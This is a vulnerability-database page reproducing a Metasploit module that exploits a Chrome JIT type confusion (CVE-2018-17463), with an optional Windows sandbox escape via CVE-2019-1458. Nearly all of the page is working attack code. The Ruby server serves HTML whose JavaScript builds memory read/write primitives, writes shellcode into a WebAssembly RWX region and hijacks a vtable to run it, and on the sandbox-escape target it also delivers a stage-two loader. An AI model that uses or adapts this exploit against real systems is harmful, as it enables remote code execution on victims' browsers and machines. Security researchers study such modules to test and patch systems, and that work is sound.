Lucene search
K

Google Chrome 67, 68 and 69 Object.create exploit

🗓️ 14 Feb 2020 22:10:52Reported by saelo, timwr, sf <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 126 Views

Google Chrome Type Confusion exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Google Chrome 67 / 68 / 69 Object.create Type Confusion Exploit
6 Mar 202000:00
zdt
0day.today
Microsoft Windows - (WizardOpium) Local Privilege Escalation Exploit
9 Mar 202000:00
zdt
0day.today
Microsoft Windows Uninitialized Variable Local Privilege Escalation Exploit
15 Oct 202000:00
zdt
GithubExploit
Exploit for CVE-2019-1458
3 Mar 202017:55
githubexploit
GithubExploit
Exploit for CVE-2018-17463
28 Dec 202202:42
githubexploit
GithubExploit
Exploit for CVE-2019-1458
11 Mar 202008:30
githubexploit
GithubExploit
Exploit for CVE-2019-1458
11 Mar 202008:30
githubexploit
ATTACKERKB
CVE-2018-17463
14 Nov 201800:00
attackerkb
ATTACKERKB
Chrome 0-day exploit CVE-2019-13720 used in Operation WizardOpium
10 Oct 201900:00
attackerkb
ATTACKERKB
CVE-2019-1458
10 Dec 201900:00
attackerkb
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::Remote::HttpServer::BrowserExploit
  include Msf::Payload::Windows::AddrLoader_x64
  include Msf::Payload::Windows::ReflectiveDllInject_x64

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
        'Description' => %q{
          This modules exploits a type confusion in Google Chromes JIT compiler.
          The Object.create operation can be used to cause a type confusion between a
          PropertyArray and a NameDictionary.
          The payload is executed within the rwx region of the sandboxed renderer
          process.
          This module can target the renderer process (target 0), but Google
          Chrome must be launched with the --no-sandbox flag for the payload to
          execute successfully.
          Alternatively, this module can use CVE-2019-1458 to escape the renderer
          sandbox (target 1). This will only work on vulnerable versions of
          Windows (e.g Windows 7) and the exploit can only be triggered once.
          Additionally the exploit can cause the target machine to restart
          when the session is terminated. A BSOD is also likely to occur when
          the system is shut down or rebooted.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'saelo', # discovery and exploit
          'timwr', # metasploit module
        ],
        'References' => [
          ['CVE', '2018-17463'],
          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
        ],
        'Arch' => [ ARCH_X64 ],
        'Platform' => ['windows', 'osx', 'linux'],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Stability' => [CRASH_SAFE]
        },
        'Targets' => [
          [
            'No sandbox escape (--no-sandbox)', {}
          ],
          [
            'Windows 7 (x64) sandbox escape via CVE-2019-1458',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }
            }
          ],
        ],
        'DisclosureDate' => '2018-09-25'
      )
    )
    deregister_options('DLL')
  end

  def library_path
    File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    download_payload = ''
    shellcode = payload.encoded
    uripath = datastore['URIPATH'] || get_resource
    uripath += '/' unless uripath.end_with? '/'

    if target.name.end_with?('CVE-2019-1458')
      if request.uri.to_s.end_with?('/payload')
        loader_data = stage_payload
        pidx = loader_data.index('PAYLOAD:')
        if pidx
          loader_data[pidx, payload.encoded.length] = payload.encoded
        end
        loader_data += "\0" * (0x20000 - loader_data.length)
        send_response(cli, loader_data, {
          'Content-Type' => 'application/octet-stream',
          'Cache-Control' => 'no-cache, no-store, must-revalidate',
          'Pragma' => 'no-cache', 'Expires' => '0'
        })
        print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")
      end
      loader = generate_loader
      shellcode = loader[0]
      shellcode_addr_offset = loader[1]
      shellcode_size_offset = loader[2]
      download_payload = <<-JS
    var req = new XMLHttpRequest();
    req.open('GET', '#{uripath}payload', false);
    req.overrideMimeType('text/plain; charset=x-user-defined');
    req.send(null);
    if (req.status != 200) {
      return;
    }
    let payload_size = req.responseText.length;
    let payload_array = new ArrayBuffer(payload_size);
    let payload8 = new Uint8Array(payload_array);
    for (let i = 0; i < req.responseText.length; i++) {
      payload8[i] = req.responseText.charCodeAt(i) & 0xff;
    }
    let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;
    let payload_array_addr = memory.readPtr(payload_array_mem_addr);
    print('payload addr: 0x' + payload_array_addr.toString(16));
    uint64View[0] = payload_array_addr;
    for (let i = 0; i < 8; i++) {
      shellcode[#{shellcode_addr_offset} + i] = uint8View[i];
    }
    for (let i = 0; i < 4; i++) {
      shellcode[#{shellcode_size_offset} + i] = (payload_size>>(8*i)) & 0xff;
    }
    for (let i = 4; i < 8; i++) {
      shellcode[#{shellcode_size_offset} + i] = 0;
    }
      JS
    end

    jscript = <<~JS
      let ab = new ArrayBuffer(8);
      let floatView = new Float64Array(ab);
      let uint64View = new BigUint64Array(ab);
      let uint8View = new Uint8Array(ab);

      let shellcode = new Uint8Array([#{Rex::Text.to_num(shellcode)}]);

      Number.prototype.toBigInt = function toBigInt() {
          floatView[0] = this;
          return uint64View[0];
      };

      BigInt.prototype.toNumber = function toNumber() {
          uint64View[0] = this;
          return floatView[0];
      };

      function hex(n) {
          return '0x' + n.toString(16);
      };

      function fail(s) {
          print('FAIL ' + s);
          throw null;
      }

      const NUM_PROPERTIES = 32;
      const MAX_ITERATIONS = 100000;

      function gc() {
          for (let i = 0; i < 200; i++) {
              new ArrayBuffer(0x100000);
          }
      }

      function make(properties) {
          let o = {inline: 42}      // TODO
          for (let i = 0; i < NUM_PROPERTIES; i++) {
              eval(`o.p${i} = properties[${i}];`);
          }
          return o;
      }

      function pwn() {
          function find_overlapping_properties() {
              let propertyNames = [];
              for (let i = 0; i < NUM_PROPERTIES; i++) {
                  propertyNames[i] = `p${i}`;
              }
              eval(`
                  function vuln(o) {
                      let a = o.inline;
                      this.Object.create(o);
                      ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
                      return [${propertyNames.join(', ')}];
                  }
              `);

              let propertyValues = [];
              for (let i = 1; i < NUM_PROPERTIES; i++) {
                  propertyValues[i] = -i;
              }

              for (let i = 0; i < MAX_ITERATIONS; i++) {
                  let r = vuln(make(propertyValues));
                  if (r[1] !== -1) {
                      for (let i = 1; i < r.length; i++) {
                          if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
                              return [i, -r[i]];
                          }
                      }
                  }
              }

              fail("Failed to find overlapping properties");
          }

          function addrof(obj) {
              eval(`
                  function vuln(o) {
                      let a = o.inline;
                      this.Object.create(o);
                      return o.p${p1}.x1;
                  }
              `);

              let propertyValues = [];
              propertyValues[p1] = {x1: 13.37, x2: 13.38};
              propertyValues[p2] = {y1: obj};

              let i = 0;
              for (; i < MAX_ITERATIONS; i++) {
                  let res = vuln(make(propertyValues));
                  if (res !== 13.37)
                      return res.toBigInt()
              }

              fail("Addrof failed");
          }

          function corrupt_arraybuffer(victim, newValue) {
              eval(`
                  function vuln(o) {
                      let a = o.inline;
                      this.Object.create(o);
                      let orig = o.p${p1}.x2;
                      o.p${p1}.x2 = ${newValue.toNumber()};
                      return orig;
                  }
              `);

              let propertyValues = [];
              let o = {x1: 13.37, x2: 13.38};
              propertyValues[p1] = o;
              propertyValues[p2] = victim;

              for (let i = 0; i < MAX_ITERATIONS; i++) {
                  o.x2 = 13.38;
                  let r = vuln(make(propertyValues));
                  if (r !== 13.38)
                      return r.toBigInt();
              }

              fail("Corrupt ArrayBuffer failed");
          }

          let [p1, p2] = find_overlapping_properties();
          print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);

          let memview_buf = new ArrayBuffer(1024);
          let driver_buf = new ArrayBuffer(1024);

          gc();

          let memview_buf_addr = addrof(memview_buf);
          memview_buf_addr--;
          print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);

          let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);

          let driver = new BigUint64Array(driver_buf);
          let original_memview_buf_ptr = driver[4];

          let memory = {
              write(addr, bytes) {
                  driver[4] = addr;
                  let memview = new Uint8Array(memview_buf);
                  memview.set(bytes);
              },
              read(addr, len) {
                  driver[4] = addr;
                  let memview = new Uint8Array(memview_buf);
                  return memview.subarray(0, len);
              },
              readPtr(addr) {
                  driver[4] = addr;
                  let memview = new BigUint64Array(memview_buf);
                  return memview[0];
              },
              writePtr(addr, ptr) {
                  driver[4] = addr;
                  let memview = new BigUint64Array(memview_buf);
                  memview[0] = ptr;
              },
              addrof(obj) {
                  memview_buf.leakMe = obj;
                  let props = this.readPtr(memview_buf_addr + 8n);
                  return this.readPtr(props + 15n) - 1n;
              },
          };

          // Generate a RWX region for the payload
          function get_wasm_instance() {
            var buffer = new Uint8Array([
              0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
              1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
              128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
              101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
            ]);
            return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
          }
      #{download_payload}
          let wasm_instance = get_wasm_instance();
          let wasm_addr = memory.addrof(wasm_instance);
          print("wasm_addr @ " + hex(wasm_addr));
          let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
          print("wasm_rwx @ " + hex(wasm_rwx_addr));

          memory.write(wasm_rwx_addr, shellcode);

          let fake_vtab = new ArrayBuffer(0x80);
          let fake_vtab_u64 = new BigUint64Array(fake_vtab);
          let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);

          let div = document.createElement('div');
          let div_addr = memory.addrof(div);
          print('div_addr @ ' + hex(div_addr));
          let el_addr = memory.readPtr(div_addr + 0x20n);
          print('el_addr @ ' + hex(el_addr));

          fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
          memory.writePtr(el_addr, fake_vtab_addr);

          print('Triggering...');

          // Trigger virtual call
          div.dispatchEvent(new Event('click'));

          // We are done here, repair the corrupted array buffers
          let addr = memory.addrof(driver_buf);
          memory.writePtr(addr + 32n, original_driver_buf_ptr);
          memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
      }

      pwn();
    JS

    jscript = add_debug_print_js(jscript)
    html = %(
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
)
    send_response(cli, html, {
      'Content-Type' => 'text/html',
      'Cache-Control' => 'no-cache, no-store, must-revalidate',
      'Pragma' => 'no-cache', 'Expires' => '0'
    })
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation